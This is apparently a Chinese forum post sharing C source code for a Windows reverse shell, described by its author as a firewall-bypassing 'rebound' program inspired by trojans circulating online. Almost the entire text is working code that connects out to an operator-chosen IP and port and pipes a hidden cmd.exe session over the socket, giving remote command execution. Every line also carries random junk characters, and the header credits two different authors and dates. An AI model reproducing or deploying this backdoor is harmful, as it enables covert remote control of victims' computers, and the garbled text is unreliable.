这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |2KAo!PI
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/* ============================== ]KJj6xn
Rebound port in Windows NT R i^[i}
By wind,2006/7 tr7<]Hm:
===============================*/ i E CrI3s
#include ~/*MY
#include g(4xC7xK6
gJM`[x`T
#pragma comment(lib,"wsock32.lib") Y/7 $1k
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void OutputShell(); !fj(tPq
SOCKET sClient; uIZWO.OdU
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "U7qo}`I
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void main(int argc,char **argv) M}!2H*
{ PiA0]>
WSADATA stWsaData; Q~T$N
int nRet; 3d|9t9v
SOCKADDR_IN stSaiClient,stSaiServer; YQY%M>F@d%
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if(argc != 3) Qf@
{ '}$Dgp6e
printf("Useage:\n\rRebound DestIP DestPort\n"); G\(|N9^:
return; 8(* [Fe9
} +!|9hF'
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WSAStartup(MAKEWORD(2,2),&stWsaData); |DsnNk0c
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5L!y-3
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stSaiClient.sin_family = AF_INET; ,TFIG^Dvq
stSaiClient.sin_port = htons(0); #t+d iR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f%*/cpA)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q`r**N+zn
{ f&
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printf("Bind Socket Failed!\n"); 8w.YYo8`
return; AA7C$;Z15~
} pa#IJ
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stSaiServer.sin_family = AF_INET; )6aAB|
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?Ec7" hK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); f`Fi#EKT
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :ijAqfX
{ "
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printf("Connect Error!"); 87YyDWTn
return; )+6MK(<"
} ->V<DZK
OutputShell(); y`=]T>X&x
} S;-
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void OutputShell() GN2Sn`;
{ lg&t8FHa;
char szBuff[1024]; &c,kQo+pA
SECURITY_ATTRIBUTES stSecurityAttributes; m|G'K[8
OSVERSIONINFO stOsversionInfo; T~='5iy|
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q7E~+p(>(
STARTUPINFO stStartupInfo; =y!$/(H
char *szShell; g
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PROCESS_INFORMATION stProcessInformation; ){b@}13cF
unsigned long lBytesRead; ruy}/7uf
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &oX>*6L
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); d}4Y(
stSecurityAttributes.lpSecurityDescriptor = 0; ZEx}$<)_
stSecurityAttributes.bInheritHandle = TRUE; Ll4g[8
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )<tI!I][j
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S@/IQR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~5oPpTAe
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G2T|RT$_K
stStartupInfo.wShowWindow = SW_HIDE; n~V ]Z
stStartupInfo.hStdInput = hReadPipe; uu>Pkfo
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @8I4[TE
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) )z28=%g
{ Ptdpj)oi&Q
case 1: e(<str>
szShell = "command.com"; [wzb<"kW
break; s|y "WDyx5
default: ZG&>:Si;
szShell = "cmd.exe"; mmk=97
break; #iHs*
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} O[ef#R!
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0a XPPnuX
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send(sClient,szMsg,77,0); Y<%@s}zc
while(1) aq@8"b(.
{ '?p<lu^^B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); XLrwxj0
if(lBytesRead) $cU!m(SILQ
{ $arK(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YF>m$?;
send(sClient,szBuff,lBytesRead,0); %#xaA'?
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} 2$ze=
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else wG-HF'0L
{ <"my^
lBytesRead=recv(sClient,szBuff,1024,0); R[hzMU}KB
if(lBytesRead<=0) break; 4J/}]Dr5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7\ s"o&G
} >]vlkA(
} 2OVRf0.R~
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return; =E#%'/ A;c
}